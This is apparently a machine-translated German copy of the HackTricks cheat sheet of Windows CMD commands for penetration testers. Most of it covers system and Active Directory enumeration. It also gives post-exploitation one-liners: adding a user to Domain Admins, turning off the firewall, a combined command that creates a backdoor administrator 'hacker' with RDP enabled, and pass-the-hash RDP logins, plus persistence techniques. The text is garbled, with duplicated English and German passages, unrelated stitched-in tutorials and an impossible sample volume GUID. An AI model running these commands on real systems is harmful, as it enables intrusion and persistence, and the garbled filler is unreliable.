hacktricks/windows-hardening/basic-cmd-for-pentesters.md
2024-04-06 18:30:57 +00:00

1266 lines
52 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Basic Win CMD for Pentesters
## Grundlegende Win CMD für Pentester
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version von PEASS oder HackTricks im PDF-Format** haben? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
</details>
### Systeminformationen
#### Versions- und Patchinformationen
```bash
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic computersystem LIST full #Get PC info
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic qfe list brief #Updates
hostname
DRIVERQUERY #3rd party driver vulnerable?
```
#### Umgebung
***
#### Basic CMD for Pentesters
#### Grundlegende CMD-Befehle für Pentester
***
#### CMD Basics
#### CMD-Grundlagen
CMD (Command Prompt) is a command-line interpreter for Windows operating systems. It allows users to interact with the operating system by executing commands. As a pentester, having a good understanding of CMD commands is essential for navigating and interacting with the target system.
CMD (Command Prompt) ist ein Befehlszeileninterpreter für Windows-Betriebssysteme. Es ermöglicht Benutzern, mit dem Betriebssystem zu interagieren, indem sie Befehle ausführen. Als Pentester ist es wichtig, ein gutes Verständnis für CMD-Befehle zu haben, um sich im Zielsystem zu bewegen und damit zu interagieren.
***
#### Basic CMD Commands
#### Grundlegende CMD-Befehle
Here are some basic CMD commands that every pentester should know:
Hier sind einige grundlegende CMD-Befehle, die jeder Pentester kennen sollte:
**1. `dir`**
**1. `dir`**
The `dir` command is used to list the files and directories in the current directory.
Der Befehl `dir` wird verwendet, um die Dateien und Verzeichnisse im aktuellen Verzeichnis aufzulisten.
**2. `cd`**
**2. `cd`**
The `cd` command is used to change the current directory.
Der Befehl `cd` wird verwendet, um das aktuelle Verzeichnis zu ändern.
* To change to a specific directory, use `cd <directory_path>`.
* Um zu einem bestimmten Verzeichnis zu wechseln, verwenden Sie `cd <Verzeichnis_pfad>`.
* To go up one directory level, use `cd ..`.
* Um eine Verzeichnisebene nach oben zu gehen, verwenden Sie `cd ..`.
* To go to the root directory, use `cd \` or `cd /`.
* Um zum Stammverzeichnis zu gelangen, verwenden Sie `cd \` oder `cd /`.
**3. `mkdir`**
**3. `mkdir`**
The `mkdir` command is used to create a new directory.
Der Befehl `mkdir` wird verwendet, um ein neues Verzeichnis zu erstellen.
* To create a new directory, use `mkdir <directory_name>`.
* Um ein neues Verzeichnis zu erstellen, verwenden Sie `mkdir <Verzeichnis_name>`.
**4. `del`**
**4. `del`**
The `del` command is used to delete files.
Der Befehl `del` wird verwendet, um Dateien zu löschen.
* To delete a file, use `del <file_name>`.
* Um eine Datei zu löschen, verwenden Sie `del <Datei_name>`.
**5. `rmdir`**
**5. `rmdir`**
The `rmdir` command is used to delete directories.
Der Befehl `rmdir` wird verwendet, um Verzeichnisse zu löschen.
* To delete an empty directory, use `rmdir <directory_name>`.
* Um ein leeres Verzeichnis zu löschen, verwenden Sie `rmdir <Verzeichnis_name>`.
* To delete a directory and its contents, use `rmdir /s <directory_name>`.
* Um ein Verzeichnis und dessen Inhalt zu löschen, verwenden Sie `rmdir /s <Verzeichnis_name>`.
**6. `copy`**
**6. `copy`**
The `copy` command is used to copy files.
Der Befehl `copy` wird verwendet, um Dateien zu kopieren.
* To copy a file, use `copy <source_file> <destination_file>`.
* Um eine Datei zu kopieren, verwenden Sie `copy <Quelldatei> <Zieldatei>`.
**7. `move`**
**7. `move`**
The `move` command is used to move files.
Der Befehl `move` wird verwendet, um Dateien zu verschieben.
* To move a file, use `move <source_file> <destination_file>`.
* Um eine Datei zu verschieben, verwenden Sie `move <Quelldatei> <Zieldatei>`.
**8. `ren`**
**8. `ren`**
The `ren` command is used to rename files.
Der Befehl `ren` wird verwendet, um Dateien umzubenennen.
* To rename a file, use `ren <old_file_name> <new_file_name>`.
* Um eine Datei umzubenennen, verwenden Sie `ren <alter_Dateiname> <neuer_Dateiname>`.
***
#### Conclusion
#### Fazit
These are just a few basic CMD commands that can be useful for pentesters. By mastering these commands, you will be able to navigate and interact with the target system more effectively.
Dies sind nur einige grundlegende CMD-Befehle, die für Pentester nützlich sein können. Indem Sie diese Befehle beherrschen, können Sie sich effektiver im Zielsystem bewegen und damit interagieren.
```bash
set #List all environment variables
```
Einige Umgebungsvariablen, die hervorgehoben werden sollten:
* **COMPUTERNAME**: Name des Computers
* **TEMP/TMP:** Temporärer Ordner
* **USERNAME:** Ihr Benutzername
* **HOMEPATH/USERPROFILE:** Benutzerverzeichnis
* **windir:** C:\Windows
* **OS**: Windows-Betriebssystem
* **LOGONSERVER**: Name des Domänencontrollers
* **USERDNSDOMAIN**: Domänenname für die Verwendung mit DNS
* **USERDOMAIN**: Name der Domäne
```bash
nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC
```
#### Eingebundene Laufwerke
In Windows können Sie mithilfe des Befehls `mountvol` Informationen über die eingebundenen Laufwerke erhalten. Dieser Befehl zeigt Ihnen die Liste der Laufwerksbuchstaben und der zugehörigen Volumes an.
```plaintext
C:\> mountvol
\\?\Volume{d3e5e6f7-8a9b-cdef-0123-456789abcdef}\
C:\
\\?\Volume{a1b2c3d4-5e6f-7a8b-9c0d-1e2f3g4h5i6j}\
D:\
```
Sie können auch den Befehl `wmic logicaldisk` verwenden, um Informationen über die eingebundenen Laufwerke zu erhalten. Dieser Befehl zeigt Ihnen den Laufwerksbuchstaben, den Gerätepfad und den Dateisystemtyp an.
```plaintext
C:\> wmic logicaldisk get caption, deviceid, filesystem
Caption DeviceID FileSystem
C: C: NTFS
D: D: NTFS
```
Diese Informationen können Ihnen bei der Identifizierung von Laufwerken und Volumes auf einem Windows-System helfen.
```bash
(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
wmic logicaldisk get caption,description,providername
```
#### [Defender](authentication-credentials-uac-and-efs/#defender)
Windows Defender ist eine integrierte Antivirensoftware von Microsoft, die auf Windows-Betriebssystemen läuft. Es bietet Schutz vor Viren, Malware und anderen Bedrohungen.
#### Papierkorb
```bash
dir C:\$Recycle.Bin /s /b
```
#### Prozesse, Dienste & Software
**Prozesse**
Um die laufenden Prozesse auf einem Windows-System anzuzeigen, kann der Befehl `tasklist` verwendet werden. Dieser Befehl listet alle Prozesse auf, die auf dem System ausgeführt werden, zusammen mit Informationen wie Prozess-ID, Speichernutzung und Prozessname.
Um einen Prozess zu beenden, kann der Befehl `taskkill` verwendet werden. Dieser Befehl ermöglicht es, einen Prozess anhand seiner Prozess-ID oder seines Namens zu beenden.
**Dienste**
Um die laufenden Dienste auf einem Windows-System anzuzeigen, kann der Befehl `net start` verwendet werden. Dieser Befehl listet alle aktiven Dienste auf, zusammen mit ihrem Status und ihrem Namen.
Um einen Dienst zu starten oder zu stoppen, kann der Befehl `net start` oder `net stop` verwendet werden, gefolgt vom Namen des Dienstes.
**Software**
Um die installierte Software auf einem Windows-System anzuzeigen, kann der Befehl `wmic product get name` verwendet werden. Dieser Befehl listet alle installierten Programme auf, zusammen mit ihren Namen.
Um eine bestimmte Software zu deinstallieren, kann der Befehl `wmic product where name="Softwarename" call uninstall` verwendet werden. Dieser Befehl deinstalliert die angegebene Software.
```bash
schtasks /query /fo LIST /v #Verbose out of scheduled tasks
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
tasklist /V #List processes
tasklist /SVC #links processes to started services
net start #Windows Services started
wmic service list brief #List services
sc query #List of services
dir /a "C:\Program Files" #Installed software
dir /a "C:\Program Files (x86)" #Installed software
reg query HKEY_LOCAL_MACHINE\SOFTWARE #Installed software
```
### Domäneninformationen
#### Whois
Die Whois-Abfrage ermöglicht es Ihnen, Informationen über eine bestimmte Domäne abzurufen. Sie können den Registrar, den Registrierungsstatus, das Erstellungsdatum, das Ablaufdatum und andere relevante Informationen über die Domäne erfahren.
```plaintext
whois domain.com
```
#### DNS-Abfrage
Mit einer DNS-Abfrage können Sie Informationen über die DNS-Einträge einer Domäne abrufen. Sie können die IP-Adresse, den Mailserver, den Nameserver und andere DNS-Einträge einer Domäne ermitteln.
```plaintext
nslookup domain.com
```
#### Zone Transfer
Die Zone Transfer-Methode ermöglicht es Ihnen, die gesamte DNS-Zonendatei einer Domäne abzurufen. Dies kann Ihnen helfen, Informationen über die Subdomänen, IP-Adressen und andere DNS-Einträge einer Domäne zu erhalten.
```plaintext
nslookup
> server <DNS-Server-IP>
> ls -d domain.com
```
#### Reverse DNS-Lookup
Mit einem Reverse DNS-Lookup können Sie die Domäne anhand einer IP-Adresse ermitteln. Dies kann nützlich sein, um Informationen über den Eigentümer einer bestimmten IP-Adresse zu erhalten.
```plaintext
nslookup <IP-Adresse>
```
#### Subdomänen-Suche
Die Suche nach Subdomänen ermöglicht es Ihnen, alle Subdomänen einer bestimmten Domäne zu ermitteln. Dies kann Ihnen helfen, potenzielle Angriffsvektoren zu identifizieren.
```plaintext
dnsrecon -d domain.com
```
#### Zonentransfer-Prüfung
Die Zonentransfer-Prüfung ermöglicht es Ihnen, zu überprüfen, ob eine Domäne anfällig für Zonentransfer-Angriffe ist. Ein erfolgreicher Zonentransfer-Angriff kann es einem Angreifer ermöglichen, die gesamte DNS-Zonendatei einer Domäne abzurufen.
```plaintext
dnsrecon -d domain.com -t axfr
```
#### MX-Record-Prüfung
Die MX-Record-Prüfung ermöglicht es Ihnen, den Mailserver einer Domäne zu ermitteln. Dies kann Ihnen helfen, potenzielle Schwachstellen im E-Mail-System einer Domäne zu identifizieren.
```plaintext
dig domain.com MX
```
```bash
# Generic AD info
echo %USERDOMAIN% #Get domain name
echo %USERDNSDOMAIN% #Get domain name
echo %logonserver% #Get name of the domain controller
set logonserver #Get name of the domain controller
set log #Get name of the domain controller
gpresult /V # Get current policy applied
wmic ntdomain list /format:list #Displays information about the Domain and Domain Controllers
# Users
dsquery user #Get all users
net user /domain #List all users of the domain
net user <ACCOUNT_NAME> /domain #Get information about that user
net accounts /domain #Password and lockout policy
wmic useraccount list /format:list #Displays information about all local accounts and any domain accounts that have logged into the device
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname #Get all users
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountname='user_name'" GET # Get info of 1 users
wmic sysaccount list /format:list # Dumps information about any system accounts that are being used as service accounts.
# Groups
net group /domain #List of domain groups
net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the group "Domain Admins" is included here)
net group "Domain Admins" /domain #List users with domain admin privileges
net group "domain computers" /domain #List of PCs connected to the domain
net group "Domain Controllers" /domain #List PC accounts of domains controllers
wmic group list /format:list # Information about all local groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname #Get all groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value #Members of the group
wmic path win32_groupuser where (groupcomponent="win32_group.name="domain admins",domain="DOMAIN_NAME"") #Members of the group
# Computers
dsquery computer #Get all computers
net view /domain #Lis of PCs of the domain
nltest /dclist:<DOMAIN> #List domain controllers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname #All computers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname #All computers
# Trust relations
nltest /domain_trusts #Mapping of the trust relationships
# Get all objects inside an OU
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
```
#### Protokolle und Ereignisse
Die Überwachung von Protokollen und Ereignissen ist ein wichtiger Aspekt der Sicherheit und ermöglicht es Ihnen, potenzielle Angriffe oder Sicherheitsverletzungen zu erkennen. In Windows gibt es verschiedene Arten von Protokollen und Ereignissen, die überwacht werden können, um die Sicherheit Ihres Systems zu verbessern.
**Windows-Ereignisprotokolle**
Windows speichert verschiedene Arten von Ereignissen in Protokolldateien, die als Windows-Ereignisprotokolle bezeichnet werden. Diese Protokolle enthalten Informationen über Systemereignisse, Anwendungsereignisse, Sicherheitsereignisse und vieles mehr. Sie können auf diese Protokolle zugreifen, um nach verdächtigen Aktivitäten zu suchen und potenzielle Sicherheitsprobleme zu identifizieren.
**Ereignisanzeige**
Die Ereignisanzeige ist ein Windows-Tool, mit dem Sie auf die Ereignisprotokolle zugreifen und diese anzeigen können. Sie können die Ereignisanzeige öffnen, indem Sie "eventvwr.msc" in die Befehlszeile eingeben. In der Ereignisanzeige können Sie die verschiedenen Ereignisprotokolle durchsuchen, nach bestimmten Ereignissen filtern und detaillierte Informationen zu einzelnen Ereignissen anzeigen.
**Überwachung von Ereignissen**
Die Überwachung von Ereignissen kann Ihnen helfen, verdächtige Aktivitäten zu erkennen und potenzielle Sicherheitsverletzungen zu identifizieren. Sie können Ereignisprotokolle überwachen, um nach bestimmten Ereignissen oder Aktivitäten zu suchen, die auf eine Kompromittierung hinweisen könnten. Dazu gehören beispielsweise fehlgeschlagene Anmeldeversuche, ungewöhnliche Netzwerkaktivitäten oder verdächtige Dateiänderungen.
**Ereignisabonnements**
In Windows können Sie Ereignisabonnements erstellen, um bestimmte Ereignisse zu überwachen und Benachrichtigungen zu erhalten, wenn diese Ereignisse auftreten. Sie können beispielsweise ein Ereignisabonnement erstellen, um benachrichtigt zu werden, wenn ein fehlgeschlagener Anmeldeversuch erkannt wird. Dies kann Ihnen helfen, schnell auf potenzielle Sicherheitsverletzungen zu reagieren und geeignete Maßnahmen zu ergreifen.
**Protokollierungseinstellungen**
Es ist wichtig, die Protokollierungseinstellungen in Windows zu überprüfen und anzupassen, um sicherzustellen, dass relevante Ereignisse erfasst werden. Sie können die Protokollierungseinstellungen über die Gruppenrichtlinienverwaltung oder die Registrierung ändern. Stellen Sie sicher, dass die Protokollierung aktiviert ist und dass die erforderlichen Ereignisse erfasst werden, um die Sicherheit Ihres Systems zu verbessern.
**Protokollanalyse**
Die Analyse von Protokollen kann Ihnen helfen, verdächtige Aktivitäten zu erkennen und potenzielle Sicherheitsverletzungen zu identifizieren. Sie können Protokolle auf Anomalien, ungewöhnliche Muster oder verdächtige Ereignisse überprüfen. Es gibt verschiedene Tools und Techniken, die Ihnen bei der Analyse von Protokollen helfen können, einschließlich SIEM (Security Information and Event Management) und Log-Analyse-Tools.
**Zusammenfassung**
Die Überwachung von Protokollen und Ereignissen ist ein wichtiger Bestandteil der Sicherheit in Windows. Durch die Überwachung von Ereignisprotokollen, die Erstellung von Ereignisabonnements und die Analyse von Protokollen können Sie verdächtige Aktivitäten erkennen und potenzielle Sicherheitsverletzungen identifizieren. Stellen Sie sicher, dass die Protokollierungseinstellungen angemessen konfiguriert sind, um relevante Ereignisse zu erfassen und die Sicherheit Ihres Systems zu verbessern.
```bash
#Make a security query using another credentials
wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321
```
**List all users**
```plaintext
net user
```
**Get detailed information about a specific user**
```plaintext
net user <username>
```
**Create a new user**
```plaintext
net user <username> <password> /add
```
**Delete a user**
```plaintext
net user <username> /delete
```
**Change a user's password**
```plaintext
net user <username> <new_password>
```
#### Groups
**List all groups**
```plaintext
net localgroup
```
**Get detailed information about a specific group**
```plaintext
net localgroup <groupname>
```
**Add a user to a group**
```plaintext
net localgroup <groupname> <username> /add
```
**Remove a user from a group**
```plaintext
net localgroup <groupname> <username> /delete
```
**Create a new group**
```plaintext
net localgroup <groupname> /add
```
**Delete a group**
```plaintext
net localgroup <groupname> /delete
```
**Add a group to another group**
```plaintext
net localgroup <groupname> /add <other_groupname>
```
**Remove a group from another group**
```plaintext
net localgroup <groupname> /delete <other_groupname>
```
```bash
#Me
whoami /all #All info about me, take a look at the enabled tokens
whoami /priv #Show only privileges
# Local users
net users #All users
dir /b /ad "C:\Users"
net user %username% #Info about a user (me)
net accounts #Information about password requirements
wmic USERACCOUNT Get Domain,Name,Sid
net user /add [username] [password] #Create user
# Other users looged
qwinsta #Anyone else logged in?
#Lauch new cmd.exe with new creds (to impersonate in network)
runas /netonly /user<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
#Check current logon session as administrator using logonsessions from sysinternals
logonsessions.exe
logonsessions64.exe
```
#### Gruppen
Gruppen sind eine Möglichkeit, Benutzer in Windows zu organisieren und ihnen bestimmte Berechtigungen zuzuweisen. Hier sind einige grundlegende Befehle, um mit Gruppen in der Befehlszeile umzugehen:
**Gruppen anzeigen**
Um alle Gruppen auf einem Windows-System anzuzeigen, verwenden Sie den Befehl `net localgroup`:
```plaintext
net localgroup
```
**Gruppenmitglieder anzeigen**
Um die Mitglieder einer bestimmten Gruppe anzuzeigen, verwenden Sie den Befehl `net localgroup` gefolgt vom Gruppennamen:
```plaintext
net localgroup <Gruppenname>
```
**Benutzer zu einer Gruppe hinzufügen**
Um einen Benutzer zu einer Gruppe hinzuzufügen, verwenden Sie den Befehl `net localgroup` gefolgt von dem Gruppennamen und dem Benutzernamen:
```plaintext
net localgroup <Gruppenname> <Benutzername> /add
```
**Benutzer aus einer Gruppe entfernen**
Um einen Benutzer aus einer Gruppe zu entfernen, verwenden Sie den Befehl `net localgroup` gefolgt von dem Gruppennamen und dem Benutzernamen:
```plaintext
net localgroup <Gruppenname> <Benutzername> /delete
```
**Neue Gruppe erstellen**
Um eine neue Gruppe zu erstellen, verwenden Sie den Befehl `net localgroup` gefolgt von dem Gruppennamen und der Option `/add`:
```plaintext
net localgroup <Gruppenname> /add
```
**Gruppe löschen**
Um eine Gruppe zu löschen, verwenden Sie den Befehl `net localgroup` gefolgt von dem Gruppennamen und der Option `/delete`:
```plaintext
net localgroup <Gruppenname> /delete
```
Diese Befehle helfen Ihnen dabei, Gruppen in Windows zu verwalten und die Sicherheit Ihres Systems zu verbessern.
```bash
#Local
net localgroup #All available groups
net localgroup Administrators #Info about a group (admins)
net localgroup administrators [username] /add #Add user to administrators
#Domain
net group /domain #Info about domain groups
net group /domain <domain_group_name> #Users that belongs to the group
```
To list active sessions in Windows, you can use the `query session` command. This command will display information about each active session, including the session ID, username, and session state.
```plaintext
C:\> query session
```
This will output a table with the session details, such as:
```plaintext
SESSIONNAME USERNAME ID STATE TYPE DEVICE
services 0 Disc
console Administrator 1 Active
user1 2 Disc
user2 3 Disc
```
#### Sitzungen auflisten
Um aktive Sitzungen in Windows aufzulisten, können Sie den Befehl `query session` verwenden. Dieser Befehl zeigt Informationen zu jeder aktiven Sitzung an, einschließlich der Sitzungs-ID, des Benutzernamens und des Sitzungszustands.
```plaintext
C:\> query session
```
Dies gibt eine Tabelle mit den Sitzungsdetails aus, wie zum Beispiel:
```plaintext
SESSIONNAME USERNAME ID STATE TYPE DEVICE
services 0 Disc
console Administrator 1 Active
user1 2 Disc
user2 3 Disc
```
```
qwinsta
klist sessions
```
#### Passwortrichtlinie
Eine Passwortrichtlinie ist eine Reihe von Regeln und Anforderungen, die festlegen, wie Passwörter erstellt und verwaltet werden sollten. Eine starke Passwortrichtlinie ist entscheidend für die Sicherheit eines Systems, da schwache Passwörter ein leichtes Ziel für Angreifer darstellen können.
Hier sind einige bewährte Praktiken für eine effektive Passwortrichtlinie:
* **Passwortlänge**: Legen Sie eine Mindestlänge für Passwörter fest, um sicherzustellen, dass sie ausreichend komplex sind. Eine Länge von mindestens 8 Zeichen wird empfohlen.
* **Komplexität**: Verlangen Sie, dass Passwörter eine Kombination aus Groß- und Kleinbuchstaben, Zahlen und Sonderzeichen enthalten, um die Sicherheit zu erhöhen.
* **Passwortablauf**: Legen Sie eine maximale Gültigkeitsdauer für Passwörter fest und erzwingen Sie deren Änderung in regelmäßigen Abständen. Dies minimiert das Risiko von Passwortlecks und stellt sicher, dass Benutzer regelmäßig neue Passwörter verwenden.
* **Passworthistorie**: Verbieten Sie die Verwendung von Passwörtern, die bereits verwendet wurden, um zu verhindern, dass Benutzer alte Passwörter wiederverwenden.
* **Sperrzeit**: Legen Sie eine Sperrzeit fest, nach der ein Konto gesperrt wird, wenn eine bestimmte Anzahl von fehlgeschlagenen Anmeldeversuchen erfolgt. Dies schützt vor Brute-Force-Angriffen.
* **Benachrichtigungen**: Benachrichtigen Sie Benutzer rechtzeitig über bevorstehende Passwortänderungen und informieren Sie sie über bewährte Praktiken zur Erstellung sicherer Passwörter.
Eine gut durchdachte Passwortrichtlinie ist ein wichtiger Schritt zur Stärkung der Sicherheit eines Systems und zur Verhinderung von unbefugtem Zugriff. Es ist wichtig, dass Benutzer sich der Richtlinie bewusst sind und diese befolgen, um die Wirksamkeit zu gewährleisten.
```
net accounts
```
#### Anmeldeinformationen
Credentials are the usernames and passwords that are used to authenticate and authorize access to various systems and services. In the context of hacking, obtaining credentials is often a crucial step in gaining unauthorized access to a target system.
Anmeldeinformationen sind Benutzernamen und Passwörter, die zur Authentifizierung und Autorisierung des Zugriffs auf verschiedene Systeme und Dienste verwendet werden. Im Zusammenhang mit Hacking ist das Erlangen von Anmeldeinformationen oft ein entscheidender Schritt, um unbefugten Zugriff auf ein Zielsystem zu erlangen.
```bash
cmdkey /list #List credential
vaultcmd /listcreds:"Windows Credentials" /all #List Windows vault
rundll32 keymgr.dll, KRShowKeyMgr #You need graphical access
```
#### Persistenz mit Benutzern
In diesem Abschnitt werden verschiedene Techniken zur Erreichung von Persistenz mit Benutzern auf einem Windows-System beschrieben. Diese Techniken ermöglichen es einem Angreifer, den Zugriff auf das System aufrechtzuerhalten, selbst nach einem Neustart oder einer Abmeldung des Benutzers.
**1. Benutzerprofilordner**
Ein häufig genutzter Ansatz besteht darin, eine bösartige Datei oder einen bösartigen Skript im Benutzerprofilordner des Zielsystems abzulegen. Dieser Ordner enthält wichtige Konfigurationsdateien und Einstellungen für den Benutzer. Durch das Platzieren einer bösartigen Datei in diesem Ordner kann der Angreifer sicherstellen, dass sie bei jedem Anmelden des Benutzers automatisch ausgeführt wird.
**2. Registrierungseinträge**
Die Windows-Registrierung ist eine zentrale Datenbank, die wichtige Informationen und Einstellungen für das Betriebssystem enthält. Ein Angreifer kann bösartige Registrierungseinträge erstellen, um eine Persistenz mit Benutzern zu erreichen. Diese Einträge können so konfiguriert werden, dass sie bei jedem Systemstart oder bei der Anmeldung eines bestimmten Benutzers automatisch ausgeführt werden.
**3. Geplante Aufgaben**
Die Windows-Aufgabenplanung ermöglicht es Benutzern, Aufgaben zu planen, die zu einem bestimmten Zeitpunkt oder bei bestimmten Ereignissen ausgeführt werden sollen. Ein Angreifer kann eine bösartige geplante Aufgabe erstellen, um eine Persistenz mit Benutzern zu erreichen. Diese Aufgabe kann so konfiguriert werden, dass sie regelmäßig ausgeführt wird, um den Zugriff auf das System aufrechtzuerhalten.
**4. Dienste**
Windows-Dienste sind Programme, die im Hintergrund ausgeführt werden und bestimmte Funktionen bereitstellen. Ein Angreifer kann einen bösartigen Dienst erstellen, um eine Persistenz mit Benutzern zu erreichen. Dieser Dienst kann so konfiguriert werden, dass er bei jedem Systemstart automatisch gestartet wird und somit den Zugriff auf das System aufrechterhält.
**5. Anmeldeobjekte**
Windows bietet verschiedene Anmeldeobjekte, die beim Anmelden eines Benutzers automatisch ausgeführt werden. Ein Angreifer kann eine bösartige Datei oder ein bösartiges Skript in einem dieser Anmeldeobjekte platzieren, um eine Persistenz mit Benutzern zu erreichen. Dadurch wird sichergestellt, dass die bösartige Datei bei jedem Anmelden des Benutzers automatisch ausgeführt wird.
Es ist wichtig zu beachten, dass diese Techniken von Angreifern missbraucht werden können, um unbefugten Zugriff auf Systeme zu erlangen. Es ist daher entscheidend, dass Benutzer und Administratoren geeignete Sicherheitsmaßnahmen ergreifen, um solche Angriffe zu verhindern.
```bash
# Add domain user and put them in Domain Admins group
net user username password /ADD /DOMAIN
net group "Domain Admins" username /ADD /DOMAIN
# Add local user and put them local Administrators group
net user username password /ADD
net localgroup Administrators username /ADD
# Add user to insteresting groups:
net localgroup "Remote Desktop Users" UserLoginName /add
net localgroup "Debugger users" UserLoginName /add
net localgroup "Power users" UserLoginName /add
```
### Netzwerk
#### Schnittstellen, Routen, Ports, Hosts und DNS-Cache
```bash
ipconfig /all #Info about interfaces
route print #Print available routes
arp -a #Know hosts
netstat -ano #Opened ports?
type C:\WINDOWS\System32\drivers\etc\hosts
ipconfig /displaydns | findstr "Record" | findstr "Name Host"
```
#### Firewall
Eine Firewall ist eine Sicherheitsvorrichtung, die den Datenverkehr zwischen einem internen Netzwerk und einem externen Netzwerk überwacht und kontrolliert. Sie dient dazu, unerwünschten Datenverkehr zu blockieren und das interne Netzwerk vor potenziellen Angriffen zu schützen.
Firewalls können auf verschiedenen Ebenen arbeiten, einschließlich der Netzwerk-, Transport- und Anwendungsebene. Sie können den Datenverkehr basierend auf verschiedenen Kriterien wie IP-Adresse, Portnummer und Protokolltyp filtern.
Es gibt verschiedene Arten von Firewalls, darunter Netzwerk-Firewalls, Host-Firewalls und persönliche Firewalls. Netzwerk-Firewalls werden normalerweise auf Netzwerkgeräten wie Routern und Firewalls installiert und schützen das gesamte Netzwerk. Host-Firewalls werden auf einzelnen Computern oder Servern installiert und schützen diese vor Angriffen. Persönliche Firewalls sind Softwareanwendungen, die auf einzelnen Computern installiert sind und den Datenverkehr für diesen spezifischen Computer überwachen und kontrollieren.
Es ist wichtig, eine Firewall richtig zu konfigurieren und regelmäßig zu aktualisieren, um sicherzustellen, dass sie effektiv vor Angriffen schützt. Eine schlecht konfigurierte Firewall kann Sicherheitslücken aufweisen und Angreifern den Zugriff auf das interne Netzwerk ermöglichen.
Firewalls sind ein wichtiger Bestandteil der Netzwerksicherheit und sollten in jedem Netzwerk implementiert werden, um die Sicherheit zu erhöhen und potenzielle Angriffe zu verhindern.
```bash
netsh firewall show state # FW info, open ports
netsh advfirewall firewall show rule name=all
netsh firewall show config # FW info
Netsh Advfirewall show allprofiles
NetSh Advfirewall set allprofiles state off #Turn Off
NetSh Advfirewall set allprofiles state on #Trun On
netsh firewall set opmode disable #Turn Off
#How to open ports
netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138
netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139
netsh firewall add portopening TCP 3389 "Remote Desktop"
#Enable Remote Desktop
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall add portopening TCP 3389 "Remote Desktop"
::netsh firewall set service remotedesktop enable #I found that this line is not needed
::sc config TermService start= auto #I found that this line is not needed
::net start Termservice #I found that this line is not needed
#Enable Remote Desktop with wmic
wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1"
##or
wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1"
#Enable Remote assistance:
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f
netsh firewall set service remoteadmin enable
#Ninja combo (New Admin User, RDP + Rassistance + Firewall allow)
net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable
::Connect to RDP (using hash or password)
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49
```
#### Freigaben
**Überblick**
Freigaben sind Verzeichnisse oder Dateien, die von einem Windows-Computer für andere Benutzer oder Geräte im Netzwerk zugänglich gemacht werden. In diesem Abschnitt werden einige grundlegende Befehle vorgestellt, die Pentester verwenden können, um Informationen über Freigaben zu sammeln und auf diese zuzugreifen.
**Befehle**
* `net share`: Zeigt eine Liste der Freigaben auf dem aktuellen System an.
* `net view \\[IP]`: Zeigt eine Liste der Freigaben auf einem Remote-System an.
